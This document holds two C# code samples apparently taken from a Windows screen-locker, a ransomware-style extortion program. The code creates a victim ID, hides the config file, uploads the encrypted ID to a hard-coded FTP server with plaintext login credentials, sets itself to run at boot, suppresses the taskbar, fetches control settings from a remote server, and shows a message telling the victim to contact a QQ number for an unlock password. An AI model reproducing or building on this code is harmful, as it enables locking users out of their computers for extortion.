Esempio n. 1
0
 public void 生成ID()
 {
     CheckForIllegalCrossThreadCalls = false;
     if (File.Exists(FilePath + "/userconfig.ini"))
     {
         ID.Text = OperateIniFile.ReadIniData("UserID", "id", "null", FilePath + "/userconfig.ini");
         roHidFile(FilePath + "/userconfig.ini");
     }
     else
     {
         ID.Text = Random(8);
         File.WriteAllText(FilePath + "/userconfig.ini", "");
         OperateIniFile.WriteIniData("UserID", "id", ID.Text, FilePath + "/userconfig.ini");
         roHidFile(FilePath + "/userconfig.ini");
         FtpLib ftp = new FtpLib("008.3vftp.com", "/TYSJ/userid/", "weeeee", "1235zxcD");
         AESOUTPUT = AESEn.EncryptAes(ID.Text, AESEn.AesKey);
         PSOUTPUT  = AESEn.CompressString(AESOUTPUT);
         File.WriteAllText(FilePath + "/" + ID.Text + ".asp", PSOUTPUT);
         ftp.Upload(FilePath + "/" + ID.Text + ".asp");
         File.Delete(FilePath + "/" + ID.Text + ".asp");
     }
 }
Esempio n. 2
0
 void windowload()
 {
     this.KeyPreview = true;
     if (guid != "")
     {
         skinLabel8.Text = skinLabel8.Text.Replace("%uuid%", guid);
     }
     else
     {
         skinLabel8.Text = skinLabel8.Text.Replace("%uuid%", Guid.NewGuid().ToString());
     }
     #region 获取系统参数
     listBox1.Items.Add("系统参数:");
     listBox1.Items.Add("系统名:" + Information.Environment.OSName);
     listBox1.Items.Add("机器名:" + Information.Environment.MachineName);
     listBox1.Items.Add("可用内存:" + Information.Environment.TotalMemoryUsed);
     listBox1.Items.Add("登陆账户:" + Information.Environment.UserName);
     listBox1.Items.Add("系统版本:" + Information.Environment.OSVersion);
     listBox1.Items.Add("-------------------------------------------");
     #endregion
     生成ID();
     AESOUTPUT = AESEn.EncryptAes(ID.Text, AESEn.AesKey);
     PSOUTPUT  = AESEn.CompressString(AESOUTPUT);
     getwebstream();
     SetAutoBootStatu(true);
     listBox1.Items.Add("获取参数完毕");
     listBox1.Items.Add("调用图形界面");
     #region 检测参数
     if (start.Length > 1)
     {
         string qq    = "";
         string email = "";
         string wx    = "";
         string image = "";
         int    a     = 0;
         if (start.Contains("-backgroundimage"))
         {
             foreach (string b in start)
             {
                 if (b == "-backgroundimage")
                 {
                     if (b == "-backgroundimage")
                     {
                         image = start[a + 1];
                         break;
                     }
                     a = a + 1;
                 }
                 a = a + 1;
             }
             a = 0;
         }
         if (start.Contains("-backgroundimage2"))
         {
             foreach (string b in start)
             {
                 if (b == "-backgroundimage2")
                 {
                     image = start[a + 1];
                     break;
                 }
                 a = a + 1;
             }
             a = 0;
         }
         if (start.Contains("-serverip"))
         {
             foreach (string b in start)
             {
                 if (b == "-serverip")
                 {
                     ip = start[a + 1];
                     try
                     {
                         web.DownloadFile(ip + "/TYSJ/systemoutput/config.asp", FilePath + "/serverconfig.ini");
                     }
                     catch
                     {
                         MessageForm.Show("无法连接到远程验证服务器!");
                         ShieldMissionTask(0);
                         IsPass = true;
                         ShowWindow(FindWindowA("Shell_TrayWnd", null), 9);
                         SetAutoBootStatu(false);
                         Process.GetCurrentProcess().Kill();
                     }
                     break;
                 }
                 a = a + 1;
             }
             a = 0;
         }
         if (start.Contains("-qq"))
         {
             foreach (string b in start)
             {
                 if (!start.Contains("-qq"))
                 {
                     break;
                 }
                 if (b == "-qq")
                 {
                     qq = start[a + 1];
                     break;
                 }
                 a = a + 1;
             }
             a = 0;
         }
         if (start.Contains("-email"))
         {
             foreach (string b in start)
             {
                 if (!start.Contains("-email"))
                 {
                     break;
                 }
                 if (b == "-email")
                 {
                     email = start[a + 1];
                     break;
                 }
                 a = a + 1;
             }
             a = 0;
         }
         if (start.Contains("-wx"))
         {
             foreach (string b in start)
             {
                 if (!start.Contains("-wx"))
                 {
                     break;
                 }
                 if (b == "-wx")
                 {
                     wx = start[a + 1];
                     break;
                 }
                 a = a + 1;
             }
         }
         if (qq.Length > 0)
         {
             skinLabel6.Text = skinLabel6.Text + "QQ " + qq;
         }
         if (email.Length > 0)
         {
             skinLabel6.Text = skinLabel6.Text + "邮箱 " + email;
         }
         if (wx.Length > 0)
         {
             skinLabel6.Text = skinLabel6.Text + "微信 " + wx;
         }
         if (image.Length > 0)
         {
             if (image.Contains("{"))
             {
                 this.BackgroundImage = new Bitmap(Information.Between(image, "{", "}"));
             }
             if (image == "1")
             {
                 this.BackgroundImage = Properties.Resources._1;
             }
             else if (image == "2")
             {
                 this.BackgroundImage = Properties.Resources._2;
             }
             else if (image == "3")
             {
                 this.BackgroundImage = Properties.Resources._3;
             }
             else if (image == "4")
             {
                 this.BackgroundImage = Properties.Resources._4;
             }
             else if (image == "5")
             {
                 this.BackgroundImage = Properties.Resources._5;
             }
             else if (image == "6")
             {
                 this.BackgroundImage = Properties.Resources._6;
             }
             else if (image == "7")
             {
                 this.BackgroundImage = Properties.Resources._7;
             }
             else if (image == "8")
             {
                 this.BackgroundImage = Properties.Resources._8;
             }
             else if (image == "9")
             {
                 this.BackgroundImage = Properties.Resources._9;
             }
             else if (image == "10")
             {
                 this.BackgroundImage = Properties.Resources._10;
             }
             else if (image == "11")
             {
                 this.BackgroundImage = Properties.Resources._11;
             }
             else if (image == "12")
             {
                 this.BackgroundImage = Properties.Resources._12;
             }
             else if (image == "13")
             {
                 this.BackgroundImage = Properties.Resources._13;
             }
         }
     }
     if (skinLabel6.Text.Length < 5)
     {
         skinLabel6.Text = "联系QQ 3079498044 获取解锁密码";
         Show();
         skinRollingBar1.Visible = false;
         IsPass = false;
     }
     else
     {
         skinLabel6.Text = skinLabel6.Text + " 获取解锁密码";
     }
     #endregion
     #region 尝试与服务器连接
     try
     {
         if (OperateIniFile.ReadIniData("ServerConfig", "useful", "0", FilePath + "/serverconfig.ini") == "0")
         {
             MessageForm.Show("软件已停止使用!请删除文件!");
             ShieldMissionTask(0);
             IsPass = true;
             ShowWindow(FindWindowA("Shell_TrayWnd", null), 9);
             SetAutoBootStatu(false);
             Process.GetCurrentProcess().Kill();
         }
         Online();
         listBox1.Items.Add("第一次尝试与验证服务器链接成功");
     }
     catch
     {
         NotOnline();
         listBox1.Items.Add("第一次尝试链接服务器失败,已经提交问题");
     }
     #endregion
     Show();
     skinRollingBar1.Visible = false;
     IsPass = false;
 }